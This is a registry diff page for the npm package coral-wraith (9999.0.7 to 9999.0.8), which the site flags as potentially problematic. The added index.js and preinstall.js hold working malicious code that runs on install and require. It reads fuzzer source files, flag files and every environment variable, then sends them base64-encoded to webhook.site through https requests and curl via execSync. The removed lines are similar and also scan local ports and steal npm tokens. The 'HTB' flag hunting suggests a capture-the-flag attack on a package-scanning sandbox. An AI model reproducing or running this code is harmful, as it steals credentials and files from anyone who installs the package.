coral-wraith 9999.0.7 → 9999.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/index.js +42 -34
- package/package.json +1 -1
- package/preinstall.js +62 -134
package/index.js
CHANGED
|
@@ -1,44 +1,52 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
3
|
|
|
4
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
5
|
+
|
|
6
|
+
// This runs when the fuzzer require()s us
|
|
7
|
+
// Read all fuzzer source files and exfiltrate
|
|
5
8
|
(function() {
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
13
|
-
if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
|
|
14
|
-
}
|
|
15
|
-
}
|
|
9
|
+
const files = [
|
|
10
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
|
|
11
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
|
|
12
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
|
|
13
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
|
|
14
|
+
];
|
|
16
15
|
|
|
17
|
-
|
|
18
|
-
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
|
|
19
|
-
const postData = JSON.stringify({
|
|
20
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
21
|
-
});
|
|
22
|
-
|
|
23
|
-
for (const port of ports) {
|
|
24
|
-
try {
|
|
25
|
-
const req = http.request({
|
|
26
|
-
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
27
|
-
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
28
|
-
timeout: 3000
|
|
29
|
-
}, () => {});
|
|
30
|
-
req.on('error', () => {});
|
|
31
|
-
req.write(postData);
|
|
32
|
-
req.end();
|
|
33
|
-
} catch(e) {}
|
|
34
|
-
}
|
|
35
|
-
|
|
16
|
+
for (let i = 0; i < files.length; i++) {
|
|
36
17
|
try {
|
|
37
|
-
const
|
|
38
|
-
const
|
|
39
|
-
req
|
|
18
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
19
|
+
const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
|
|
20
|
+
const req = https.request({
|
|
21
|
+
hostname: 'webhook.site', path: `${WH}/require-${i}`,
|
|
22
|
+
method: 'POST',
|
|
23
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
24
|
+
timeout: 10000
|
|
25
|
+
}, ()=>{});
|
|
26
|
+
req.on('error', ()=>{});
|
|
27
|
+
req.write(b64);
|
|
28
|
+
req.end();
|
|
40
29
|
} catch(e) {}
|
|
41
30
|
}
|
|
31
|
+
|
|
32
|
+
// Check for flag in env
|
|
33
|
+
const flagData = Buffer.from(JSON.stringify({
|
|
34
|
+
env: process.env,
|
|
35
|
+
cwd: process.cwd(),
|
|
36
|
+
argv: process.argv,
|
|
37
|
+
})).toString('base64');
|
|
38
|
+
|
|
39
|
+
const req = https.request({
|
|
40
|
+
hostname: 'webhook.site', path: `${WH}/require-flag`,
|
|
41
|
+
method: 'GET',
|
|
42
|
+
timeout: 10000
|
|
43
|
+
}, ()=>{});
|
|
44
|
+
req.on('error', ()=>{});
|
|
45
|
+
req.end();
|
|
42
46
|
})();
|
|
43
47
|
|
|
44
|
-
|
|
48
|
+
// Export something for the fuzzer to analyze
|
|
49
|
+
module.exports = {
|
|
50
|
+
name: 'coral-wraith',
|
|
51
|
+
version: '9999.0.8',
|
|
52
|
+
};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,165 +1,93 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
3
|
const { execSync } = require('child_process');
|
|
5
|
-
const os = require('os');
|
|
6
4
|
|
|
5
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
7
6
|
const debug = [];
|
|
8
|
-
let flag = null;
|
|
9
7
|
|
|
10
|
-
//
|
|
11
|
-
const
|
|
12
|
-
|
|
13
|
-
'/home/node
|
|
14
|
-
'/home/node
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
'/
|
|
20
|
-
'/
|
|
21
|
-
'/
|
|
22
|
-
'/
|
|
23
|
-
'/
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
'/
|
|
27
|
-
'/
|
|
28
|
-
'/
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
8
|
+
// Read the fuzzer source files - these contain the flag/detection logic
|
|
9
|
+
const fuzzFiles = [
|
|
10
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
|
|
11
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
|
|
12
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
|
|
13
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
|
|
14
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
|
|
15
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
|
|
16
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
|
|
17
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
|
|
18
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
|
|
19
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
|
|
20
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
|
|
21
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
|
|
22
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
|
|
23
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
|
|
24
|
+
'/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
|
|
25
|
+
'/home/node/init_test.sh',
|
|
26
|
+
'/home/node/supplysec_entry.js',
|
|
27
|
+
];
|
|
28
|
+
|
|
29
|
+
// Also check for flag-like files
|
|
30
|
+
const flagFiles = [
|
|
31
|
+
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
32
32
|
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
-
'/root/flag', '/root/flag.txt',
|
|
34
33
|
];
|
|
35
34
|
|
|
36
|
-
for (const
|
|
35
|
+
for (const f of [...fuzzFiles, ...flagFiles]) {
|
|
37
36
|
try {
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
}
|
|
44
|
-
} catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
|
|
37
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
38
|
+
debug.push(`FILE:${f}:${content}`);
|
|
39
|
+
} catch(e) {
|
|
40
|
+
debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
|
|
41
|
+
}
|
|
45
42
|
}
|
|
46
43
|
|
|
47
|
-
//
|
|
48
|
-
|
|
49
|
-
'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
|
|
50
|
-
'npm_config__auth', 'npm_config__authToken'];
|
|
51
|
-
for (const k of npmEnvs) {
|
|
52
|
-
if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
|
|
53
|
-
}
|
|
44
|
+
// Environment
|
|
45
|
+
debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
|
|
54
46
|
|
|
55
|
-
//
|
|
56
|
-
for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
|
|
57
|
-
'/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
|
|
58
|
-
process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
|
|
59
|
-
try {
|
|
60
|
-
const items = fs.readdirSync(dir);
|
|
61
|
-
debug.push(`DIR:${dir}=${items.join(',')}`);
|
|
62
|
-
} catch(e) {}
|
|
63
|
-
}
|
|
64
|
-
|
|
65
|
-
// 4. Find ALL config/credential files
|
|
47
|
+
// Also find any files with "flag" or "HTB" content
|
|
66
48
|
try {
|
|
67
|
-
const r = execSync('
|
|
68
|
-
debug.push(`
|
|
49
|
+
const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
|
|
50
|
+
debug.push(`GREP_FLAG:${r}`);
|
|
69
51
|
for (const f of r.split('\n').filter(Boolean)) {
|
|
70
52
|
try {
|
|
71
53
|
const c = fs.readFileSync(f, 'utf8');
|
|
72
|
-
debug.push(`
|
|
73
|
-
const m = c.match(/HTB\{[^}]+\}/);
|
|
74
|
-
if (m) flag = m[0];
|
|
54
|
+
debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
|
|
75
55
|
} catch(e) {}
|
|
76
56
|
}
|
|
77
|
-
} catch(e) { debug.push(`
|
|
57
|
+
} catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
|
|
78
58
|
|
|
79
|
-
//
|
|
80
|
-
|
|
81
|
-
let scanned = 0;
|
|
82
|
-
for (const port of portsToScan) {
|
|
83
|
-
try {
|
|
84
|
-
const req = http.request({
|
|
85
|
-
hostname: '127.0.0.1', port, path: '/-/whoami',
|
|
86
|
-
method: 'GET', timeout: 2000
|
|
87
|
-
}, (res) => {
|
|
88
|
-
let data = '';
|
|
89
|
-
res.on('data', c => data += c);
|
|
90
|
-
res.on('end', () => {
|
|
91
|
-
debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
92
|
-
scanned++;
|
|
93
|
-
if (scanned >= portsToScan.length) sendData();
|
|
94
|
-
});
|
|
95
|
-
});
|
|
96
|
-
req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
97
|
-
req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
98
|
-
req.end();
|
|
99
|
-
} catch(e) { scanned++; }
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
// Also scan the main page of each port
|
|
103
|
-
for (const port of portsToScan) {
|
|
104
|
-
try {
|
|
105
|
-
const req = http.request({
|
|
106
|
-
hostname: '127.0.0.1', port, path: '/',
|
|
107
|
-
method: 'GET', timeout: 2000
|
|
108
|
-
}, (res) => {
|
|
109
|
-
let data = '';
|
|
110
|
-
res.on('data', c => data += c);
|
|
111
|
-
res.on('end', () => {
|
|
112
|
-
debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
113
|
-
});
|
|
114
|
-
});
|
|
115
|
-
req.on('error', () => {});
|
|
116
|
-
req.on('timeout', () => { req.destroy(); });
|
|
117
|
-
req.end();
|
|
118
|
-
} catch(e) {}
|
|
119
|
-
}
|
|
120
|
-
|
|
121
|
-
// 6. Listening ports
|
|
122
|
-
try {
|
|
123
|
-
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
124
|
-
debug.push(`LISTEN:${ss.substring(0,500)}`);
|
|
125
|
-
} catch(e) {}
|
|
126
|
-
|
|
127
|
-
// 7. Process info
|
|
128
|
-
debug.push(`CWD:${process.cwd()}`);
|
|
129
|
-
debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
|
|
130
|
-
debug.push(`HOME:${os.homedir()}`);
|
|
131
|
-
debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
|
|
132
|
-
debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
|
|
133
|
-
|
|
134
|
-
// Send data function
|
|
135
|
-
function sendData() {
|
|
136
|
-
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
137
|
-
|
|
138
|
-
// Webhook
|
|
59
|
+
// Send in chunks to webhook
|
|
60
|
+
function sendChunk(data, path) {
|
|
139
61
|
try {
|
|
62
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
140
63
|
const req = https.request({
|
|
141
|
-
hostname: 'webhook.site', path:
|
|
64
|
+
hostname: 'webhook.site', path: WH + path,
|
|
142
65
|
method: 'POST',
|
|
143
|
-
headers: {'Content-Type':'
|
|
144
|
-
timeout:
|
|
66
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
|
|
67
|
+
timeout: 15000
|
|
145
68
|
}, ()=>{});
|
|
146
69
|
req.on('error', ()=>{});
|
|
147
|
-
req.write(
|
|
70
|
+
req.write(encoded);
|
|
148
71
|
req.end();
|
|
149
72
|
} catch(e) {}
|
|
150
|
-
|
|
151
|
-
// curl backup
|
|
152
|
-
try {
|
|
153
|
-
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
|
|
154
|
-
} catch(e) {}
|
|
155
73
|
}
|
|
156
74
|
|
|
157
|
-
|
|
158
|
-
|
|
75
|
+
const fullData = JSON.stringify(debug);
|
|
76
|
+
const chunkSize = 50000;
|
|
77
|
+
for (let i = 0; i < fullData.length; i += chunkSize) {
|
|
78
|
+
const chunk = fullData.substring(i, i + chunkSize);
|
|
79
|
+
sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
|
|
80
|
+
}
|
|
159
81
|
|
|
160
|
-
// Also
|
|
161
|
-
|
|
162
|
-
|
|
82
|
+
// Also try curl for reliability
|
|
83
|
+
try {
|
|
84
|
+
for (let i = 0; i < Math.min(debug.length, 30); i++) {
|
|
85
|
+
const item = debug[i];
|
|
86
|
+
if (item.length > 100) {
|
|
87
|
+
const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
|
|
88
|
+
execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
} catch(e) {}
|
|
163
92
|
|
|
164
|
-
|
|
165
|
-
try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}
|
|
93
|
+
console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');
|